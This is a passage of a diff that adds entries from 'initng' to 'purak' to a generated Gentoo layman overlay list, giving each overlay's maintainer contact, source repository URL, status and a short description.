+  <overlay contact="qupada@initng.org" name="initng" src="https://svn.initng.org/portage/gentoo" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://www.initng.org</link>
+    <description>Initng is a full replacement of the old and in many ways
+    deprecated sysvinit tool. It is designed with speed in mind because it does
+    as much as possible asynchronously. In other words: It will boot your
+    unix-system much faster, and give you more control and statistics over your
+    system.</description>
+  </overlay>
+  <overlay contact="levertond@googlemail.com" name="interactive-fiction" src="git://repo.or.cz/gentoo-interactive-fiction.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <description>Packages for players and authors of interactive
+    fiction</description>
+  </overlay>
+  <overlay contact="rmh3093@gmail.com" name="iwlwifi" src="http://opensvn.csie.org/rmh3093/iwlwifi" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://opensvn.csie.org/rmh3093/iwlwifi</link>
+    <description>This overlay provides ebuilds for the new wireless driver
+    iwlwifi</description>
+  </overlay>
+  <overlay contact="jasiupsota@gmail.com" name="jasiu" src="git://gitorious.org/jasiu/jasiu.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://gitorious.org/jasiu</link>
+    <description>Ebuilds for latest versions of abiword, tinc, onesis, and some other packages</description>
+  </overlay>
+  <overlay contact="java@gentoo.org" name="java-overlay" src="svn://overlays.gentoo.org/proj/java/java-overlay/" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/java</link>
+    <description>The only java overlay available via layman. This overlays
+    contains ebuilds that are expected to work when you emerge them. The
+    ebuilds also need to use the generation 2 eclasses.</description>
+  </overlay>
+  <overlay contact="je_fro@gentoo.org" name="je_fro" src="svn://overlays.gentoo.org/dev/je_fro" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/dev/je_fro</link>
+    <description>Helpful ebuilds for the macbook pro, and experimental
+    gentoo-science packages.</description>
+  </overlay>
+  <overlay contact="jens@chaox.net" name="jensp" src="git://git.overlays.gentoo.org/user/jensp.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/jensp.git;a=summary</link>
+    <description>jensp's user overlay</description>
+  </overlay>
+  <overlay contact="jmbsvicetto@gentoo.org" name="jmbsvicetto" src="git://git.overlays.gentoo.org/dev/jmbsvicetto.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=dev/jmbsvicetto.git</link>
+    <description>Jorge Manuel B. S. Vicetto developer overlay</description>
+  </overlay>
+  <overlay contact="jokey@gentoo.org" name="jokey" src="svn://overlays.gentoo.org/dev/jokey/trunk" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/dev/jokey</link>
+    <description>Jokey's Overlay - Contains pre-tree stuff like italc,
+    pkgcore-test-ebuilds and lcd stuff</description>
+  </overlay>
+  <overlay contact="mdeininger@jyujin.de" name="jyujin" src="git://git.becquerel.org/portage-overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://jyujin.de/</link>
+    <description>eINIT, kyuuba, dev9, various splash daemons</description>
+  </overlay>
+  <overlay contact="kde@gentoo.org" name="kde" src="git://git.overlays.gentoo.org/proj/kde.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://kde.gentoo.org</link>
+    <description>Official KDE team's testing overlay.</description>
+  </overlay>
+  <overlay contact="gentoo-desktop+subscribe@lists.gentoo.org" name="kde-sunset" src="git://git.overlays.gentoo.org/proj/kde-sunset.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=proj/kde-sunset.git;a=summary</link>
+    <description>User-maintained overlay for old KDE packages removed from the tree, such as KDE3.</description>
+  </overlay>
+  <overlay contact="mueli@gentoo.org" name="kerberos" src="git://git.overlays.gentoo.org/proj/kerberos.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://dev.gentoo.org/~mueli</link>
+    <description>Overlay which provides the bleeding edge on the kerberos
+    integration in gentoo.</description>
+  </overlay>
+  <overlay contact="Marc-Antoine@Perennou.com" name="keruspe" src="git://git.overlays.gentoo.org/user/keruspe.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/keruspe.git;a=summary</link>
+    <description>Keruspe's overlay</description>
+  </overlay>
+  <overlay contact="wrobel@gentoo.org" name="kolab" src="svn://overlays.gentoo.org/proj/kolab/overlay" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://www.gentoo.org/proj/en/kolab/index.xml</link>
+    <description>Project to allow running Kolab on Gentoo.</description>
+  </overlay>
+  <overlay contact="hsggebhardt@googlemail.com" name="kork" src="git://git.overlays.gentoo.org/user/kork.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/kork.git;a=summary</link>
+    <description>Cool, new, useful, and unmaintained packages</description>
+  </overlay>
+  <overlay contact="dang@gentoo.org;cardoe@gentoo.org" name="kvm" src="git://github.com/dang/kvm.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <description>Kernel Virtual Machine userspace support</description>
+  </overlay>
+  <overlay contact="detlev.casanova@gmail.com" name="kuroo" src="git://git.overlays.gentoo.org/proj/kuroo.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=proj/kuroo.git;a=summary</link>
+    <description>experimental kuroo and portage API ebuilds</description>
+  </overlay>
+  <overlay contact="laurent@bachelier.name" name="laurentb" src="git://github.com/laurentb/gentoo-overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://github.com/laurentb/gentoo-overlay</link>
+    <description>Various packages</description>
+  </overlay>
+  <overlay contact="leio@gentoo.org" name="leio" src="git://git.overlays.gentoo.org/dev/leio.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=dev/leio.git</link>
+    <description>Mart Raudsepp developer overlay</description>
+  </overlay>
+  <overlay contact="fosstux@gmail.com" name="lila-theme" src="http://svn.berlios.de/svnroot/repos/lila-theme/trunk/lila/gentoo/overlay" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://www.lila-center.info</link>
+    <description>The Lila theme is a community project, originally created by
+    Daniel G. Taylor and members of the Gentoo Linux community. The theme is
+    based around SVG graphics - which means they can be scaled to any size
+    without loss of quality - and is meant to be usable across different
+    desktops and platforms. For more information about the Lila theme project
+    or to see how you could get involved, there are a few places to look: The
+    Lila theme forums #lila on chat.freenode.org</description>
+  </overlay>
+  <overlay contact="liquidx@gentoo.org" name="liquidx" src="svn://overlays.gentoo.org/dev/liquidx" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org</link>
+    <description>Development overlay for ebuilds that I plan to commit to the
+    tree that are sourced from bugzilla or liquidx.</description>
+  </overlay>
+  <overlay contact="gentoo-lisp@gentoo.org" name="lisp" src="git://repo.or.cz/gentoo-lisp-overlay.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://repo.or.cz/w/gentoo-lisp-overlay.git</link>
+    <description>Common Lisp/Scheme development, recruitment and live overlay.
+    Support and feedback in `#gentoo-lisp' and via
+    `gentoo-lisp@gentoo.org'.</description>
+  </overlay>
+  <overlay contact="loki_val@gentoo.org" name="loki_val" src="git://git.overlays.gentoo.org/dev/loki_val" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>
+    http://git.overlays.gentoo.org/gitweb/?p=dev/loki_val.git;a=summary</link>
+    <description>Peter Alfredsen's private developer overlay</description>
+  </overlay>
+  <overlay contact="r0bertz@gentoo.org" name="loongson" src="git://www.gentoo-cn.org/var/git/loongson.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://www.gentoo-cn.org/gitweb/?p=loongson.git;a=summary</link>
+    <description>Zhang Le's loongson overlay</description>
+  </overlay>
+  <overlay contact="lordvan@gentoo.org" name="lordvan" src="git://git.overlays.gentoo.org/dev/lordvan.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://www.lordvan.com</link>
+    <description>LordVan's project ebuilds</description>
+  </overlay>
+  <overlay contact="ronan@aimao.org" name="lorelei" src="git://github.com/bignaux/lorelei-overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://github.com/bignaux/lorelei-overlay</link>
+    <description>Pre-release ebuilds for lorelei's projects</description>
+  </overlay>
+  <overlay contact="dberkholz@gentoo.org" name="ltsp" src="git://git.overlays.gentoo.org/proj/ltsp.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=proj/ltsp.git;a=summary</link>
+    <description>Linux Terminal Server Project overlay</description>
+  </overlay>
+  <overlay contact="lu_zero@gentoo.org" name="lu_zero" src="svn://overlays.gentoo.org/dev/lu_zero" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/dev/lu_zero</link>
+    <description>Experimental Media and PowerPC/CELL related
+    ebuilds.</description>
+  </overlay>
+  <overlay contact="luke_armagetron@dashjr.org" name="luke-jr" src="svn://svn.dashjr.org/luke-portage-overlay/trunk" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://luke.dashjr.org</link>
+    <description>Misc ebuilds by Luke-Jr</description>
+  </overlay>
+  <overlay contact="yngwin@gentoo.org" name="lxde" src="http://bitbucket.org/yngwin/lxde-overlay/" status="official" type="mercurial">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://www.gentoo.org/proj/en/desktop/lxde/</link>
+    <description>Repo for development of ebuilds for the LXDE desktop
+    environment.</description>
+  </overlay>
+  <overlay contact="m68k@gentoo.org" name="m68k" src="git://git.overlays.gentoo.org/proj/m68k.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=proj/m68k.git</link>
+    <description>m68k team overlay</description>
+  </overlay>
+  <overlay contact="maekke@gentoo.org" name="maekke" src="git://git.overlays.gentoo.org/dev/maekke.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=dev/maekke.git</link>
+    <description>Markus Meier developer overlay</description>
+  </overlay>
+  <overlay contact="maggu2810@web.de" name="maggu2810-overlay" src="git://github.com/maggu2810/maggu2810-overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://github.com/maggu2810/maggu2810-overlay</link>
+    <description>maggu2810's Gentoo portage overlay.</description>
+  </overlay>
+  <overlay contact="ricardo.salveti@openbossa.org" name="mamona" src="http://rsalveti.net/git/projects/mamona-overlay/" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://dev.openbossa.org/trac/mamona/wiki/MamonaGentooOverlay</link>
+    <description>Mamona is an embedded Linux distribution, based on Open
+    Embedded, for ARM EABI.</description>
+  </overlay>
+  <overlay contact="marineam@gentoo.org" name="marineam-xen" src="svn://overlays.gentoo.org/dev/marineam/xen" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/dev/marineam</link>
+    <description>Experimental ebuilds for Xen.</description>
+  </overlay>
+  <overlay contact="matsuu@gentoo.org" name="matsuu" src="git://git.overlays.gentoo.org/dev/matsuu.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=dev/matsuu.git</link>
+    <description>MATSUU Takuto developer overlay</description>
+  </overlay>
+  <overlay contact="menelkir@itroll.org" name="menelkir" src="git://git.overlays.gentoo.org/user/menelkir.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/menelkir.git;a=summary</link>
+    <description>This is my personal overlay for unmaintained packages and some other addittions.</description>
+  </overlay>
+  <overlay contact="mozilla@gentoo.org" name="mozilla" src="git://git.overlays.gentoo.org/proj/mozilla.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=proj/mozilla.git</link>
+    <description>New mozilla development that is not yet in tree</description>
+  </overlay>
+  <overlay contact="netzdamon@gmail.com" name="mpd" src="git://github.com/musicpd/mpd-overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://github.com/musicpd/mpd-overlay</link>
+    <description>The experimental gentoo overlay was designed as a way to keep
+    up-to-date. Most of it are live ebuilds, ebuilds that pull the latest HEAD
+    from whatever repository. It also includes ebuilds for clients that are not
+    yet in portage. It is maintained by avuton, send new ebuilds, corrections
+    or bugs directly to him.</description>
+  </overlay>
+  <overlay contact="mrpouet@gentoo.org" name="mrpouet" src="git://git.overlays.gentoo.org/dev/mrpouet.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=dev/mrpouet.git</link>
+    <description>Romain Perier developer overlay</description>
+  </overlay>
+  <overlay contact="radhermit@gentoo.org" name="msp430" src="git://github.com/radhermit/msp430-overlay.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://github.com/radhermit/msp430-overlay</link>
+    <description>MSP430 cross-compiling toolchain overlay</description>
+  </overlay>
+  <overlay contact="multilib@gentoo.org" name="multilib" src="git://github.com/sjnewbury/multilib-overlay.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://github.com/sjnewbury/multilib-overlay</link>
+    <description>multilib-overlay: emul-linux-x86 must die ;)</description>
+  </overlay>
+  <overlay contact="media-video@gentoo.org" name="multimedia" src="git://gitorious.org/gentoo-multimedia/gentoo-multimedia.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://gitorious.org/gentoo-multimedia</link>
+    <description>Repository for development of (mostly bleeding-edge)
+		multimedia packages for Gentoo Linux. This is the official overlay
+		for Gentoo's media herds.</description>
+  </overlay>
+  <overlay contact="vaeth@mathematik.uni-wuerzburg.de" name="mv" src="git://git.overlays.gentoo.org/user/mv.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/mv.git</link>
+    <description>Ebuilds for packages not in the Gentoo tree
+        (lack of maintainer or too experimental) and live ebuilds
+        or extensions/bugfixes for packages in the tree</description>
+  </overlay>
+  <overlay contact="mysql-bugs@gentoo.org" name="mysql" src="git://git.overlays.gentoo.org/proj/mysql.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=proj/mysql.git;a=summary</link>
+    <description>Gentoo MySQL overlay</description>
+  </overlay>
+  <overlay contact="Mario-Fetka@gmx.at" name="n4g" src="https://svn.disconnected-by-peer.at/svn/n4g/trunk/novell4gentoo/" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://n4g.mars.arge.at</link>
+    <description>The goal for this overlay is to reproduce the Open Enterprise
+    server from novell on gentoo</description>
+  </overlay>
+  <overlay contact="Mario-Fetka@gmx.at" name="n4g-experimental" src="https://svn.disconnected-by-peer.at/svn/n4g/branches/experimental/" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://n4g.mars.arge.at</link>
+    <description>The goal for this overlay is to reproduce the Open Enterprise
+    server from novell on gentoo</description>
+  </overlay>
+  <overlay contact="luke_n8x0_overlay@dashjr.org" name="n8x0" src="git://slonopotamus.org/overlay" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://slonopotamus.org/gentoo-on-n8x0</link>
+    <description>Packages to support Nokia Internet Tablets
+    (N8x0)</description>
+  </overlay>
+  <overlay contact="nelchael@gentoo.org" name="nelchael" src="git://git.overlays.gentoo.org/dev/nelchael.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=dev/nelchael.git;a=summary</link>
+    <description>Developer overlay</description>
+  </overlay>
+  <overlay contact="neurogeek@gentoo.org" name="neurogeek" src="git://git.overlays.gentoo.org/dev/neurogeek.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=dev/neurogeek.git</link>
+    <description>Jesus Rivero developer overlay</description>
+  </overlay>
+  <overlay contact="jacobgalbreath@gmail.com" name="neuvoo" src="git://gitorious.org/neuvoo/overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://gitorious.org/neuvoo/overlay</link>
+    <description>Neuvoo Overlay</description>
+  </overlay>
+  <overlay contact="nikai@nikai.net" name="nikai" src="git://git.overlays.gentoo.org/user/nikai.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/nikai.git</link>
+    <description>nikai user overlay</description>
+  </overlay>
+  <overlay contact="nirbheek@gentoo.org" name="nirbheek" src="git://git.overlays.gentoo.org/dev/nirbheek.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=dev/nirbheek.git</link>
+    <description>Nirbheek Chauhan developer overlay</description>
+  </overlay>
+  <overlay contact="gentoo-overlay@njw.me.uk" name="njw" src="http://git.njw.me.uk/njw-gentoo-local.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.njw.me.uk/cgit/cgit.cgi/njw-gentoo-local/</link>
+    <description>Gentoo overlay of Nick White (njw)</description>
+  </overlay>
+  <overlay contact="nx@gentoo.org" name="nx" src="svn://overlays.gentoo.org/proj/nx/testing" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/nx</link>
+    <description>Overlay for the NX/FreeNX packages for Gentoo.</description>
+  </overlay>
+  <overlay contact="perttu.luukko@iki.fi" name="nuteater" src="git://github.com/nuteater/nuteater-overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://github.com/nuteater/nuteater-overlay</link>
+    <description>Nuteater's overlay</description>
+  </overlay>
+  <overlay contact="ohnobinki@ohnopublishing.net" name="ohnobinki" src="http://ohnopublishing.net/hg/ohnobinki_overlay" status="unofficial" type="mercurial">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://ohnopub.net/~ohnobinki/gentoo</link>
+    <description>Miscelleneous ebuild fixes and personal ebuilds</description>
+  </overlay>
+  <overlay contact="OdinsHorse@googlemail.com" name="openmoko" src="svn://overlays.gentoo.org/proj/embedded/openmoko" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/embedded/wiki/openmoko</link>
+    <description>Openmoko's project overlay.</description>
+  </overlay>
+  <overlay contact="h.mth@web.de" name="openoffice-geki" src="http://geki.ath.cx/hacks/overlay.tar.bz2" status="unofficial" type="tar">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://geki.ath.cx/index.php/OpenOffice</link>
+    <description>Purpose Unsupported openoffice version with experimental
+    patchset</description>
+  </overlay>
+  <overlay contact="roy@marples.name" name="openrc" src="git://git.overlays.gentoo.org/dev/uberlord" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>
+    http://git.overlays.gentoo.org/gitweb/?p=dev/uberlord;a=summary</link>
+    <description>Uberlord's openrc ebuilds</description>
+  </overlay>
+  <overlay contact="majeru@gentoo.ro" name="oss-overlay" src="http://hg.atheme.org/users/majeru/portage-overlay/" status="unofficial" type="mercurial">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://gentoo-wiki.com/Howto_OSS4</link>
+    <description>OSSv4 overlay</description>
+  </overlay>
+  <overlay contact="fabian@datensalat.eu" name="otih" src="git://repo.or.cz/otih-overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://repo.or.cz/w/otih-overlay.git</link>
+    <description>Otih's Provide-Patches Overlay</description>
+  </overlay>
+  <overlay contact="pchrist@gentoo.org" name="pchrist" src="git://git.overlays.gentoo.org/dev/pchrist.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=dev/pchrist.git</link>
+    <description>Panagiotis Christopoulos developer overlay</description>
+  </overlay>
+  <overlay contact="gabrielmaculus@gmail.com" name="pcsx2" src="git://github.com/eatnumber1/pcsx2-overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://github.com/eatnumber1/pcsx2-overlay/tree/master</link>
+    <description>Experimental overlay for pcsx2 ebuilds.</description>
+  </overlay>
+  <overlay contact="mescalinum@gmail.com" name="pd-overlay" src="https://pd-overlay.svn.sourceforge.net/svnroot/pd-overlay/pd-overlay" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://pd-overlay.sourceforge.net/</link>
+    <description>Subversion ebuilds for PureData the dataflow
+    language</description>
+  </overlay>
+  <overlay contact="alexxy@gentoo.ru" name="pda" src="git://vcs.gentoo.ru/gentoo-pda" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://pda.gentoo.ru</link>
+    <description>This overlay contains some pda-related ebuilds (for now for
+    devices such as iPAQ hx4700, Sharp Zaurus, Asus a620 and some
+    others)</description>
+  </overlay>
+  <overlay contact="zerochaos@pentoo.ch" name="pentoo" src="https://www.pentoo.ch/svn/portage/trunk/" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://www.pentoo.ch</link>
+    <description>The overlay contains new or updated security tool.</description>
+  </overlay>
+  <overlay contact="perl@gentoo.org" name="perl-experimental" src="git://git.overlays.gentoo.org/proj/perl-overlay.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/perl/</link>
+    <description>Experimental ebuilds for Perl packages in Gentoo. Comments and
+    bugreports are welcome!</description>
+  </overlay>
+  <overlay contact="php-bugs@gentoo.org" name="php" src="git://git.overlays.gentoo.org/proj/php.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=proj/php.git;a=summary</link>
+    <description>Development overlay for PHP</description>
+  </overlay>
+  <overlay contact="maciag.artur@gmail.com" name="piczu" src="git://git.overlays.gentoo.org/user/piczu.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/piczu.git;a=summary</link>
+    <description>piczu's user overlay</description>
+  </overlay>
+  <overlay contact="pioto@pioto.org" name="pioto-overlay" src="git://git.pioto.org/pioto-overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://blog.pioto.org</link>
+    <description>Most things in here are still works in progress or not stable
+    enough for the main ebuild tree. If something breaks, you're on your
+    own.</description>
+  </overlay>
+  <overlay contact="anant@gentoo.org" name="plan9" src="svn://overlays.gentoo.org/dev/anant/plan9" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/dev/anant/wiki</link>
+    <description>A collection of useful ebuilds related to Plan9.</description>
+  </overlay>
+  <overlay contact="gentoo@necoro.eu" name="portato" src="git://github.com/Necoro/portato-overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://necoro.eu/portato</link>
+    <description>Overlay for the Portato project.</description>
+  </overlay>
+  <overlay contact="pgsql-bugs@gentoo.org" name="postgresql-experimental" src="svn://overlays.gentoo.org/proj/postgresql/experimental" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/postgresql</link>
+    <description>Development overlay for PostgreSQL, experimental
+    branch.</description>
+  </overlay>
+  <overlay contact="pgsql-bugs@gentoo.org" name="postgresql-testing" src="svn://overlays.gentoo.org/proj/postgresql/testing" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/postgresql</link>
+    <description>Development overlay for PostgreSQL, testing
+    branch.</description>
+  </overlay>
+  <overlay contact="ranger@gentoo.org" name="powerpc" src="svn://overlays.gentoo.org/proj/powerpc" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/powerpc</link>
+    <description>Support for PowerPC-based ebuilds that are not appropriate for
+    the portage tree.</description>
+  </overlay>
+  <overlay contact="powerman@powerman.name" name="powerman" src="http://powerman.name/download/Gentoo/powerman-overlay.tgz" status="unofficial" type="tar">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://powerman.name/RTFM/Gentoo_ebuilds.html</link>
+    <description>Overlay of Alex Efros</description>
+  </overlay>
+  <overlay contact="evermind@tuxfamily.org" name="pro-audio" src="svn://svn.tuxfamily.org/svnroot/proaudio/proaudio/trunk/overlays/proaudio" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://proaudio.tuxfamily.org/wiki</link>
+    <description>Evermind's overlay with ebuilds for a lot of pro-audio
+    production software.</description>
+  </overlay>
+  <overlay contact="pross@pross.org.uk" name="pross" src="git://git.overlays.gentoo.org/user/pross.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/pross.git;a=summary</link>
+    <description>Up to date ck-sources with gentoo patches.</description>
+  </overlay>
+  <overlay contact="bburaksezer@gmail.com" name="purak" src="git://git.overlays.gentoo.org/user/purak.git" status="unofficial" type="git">
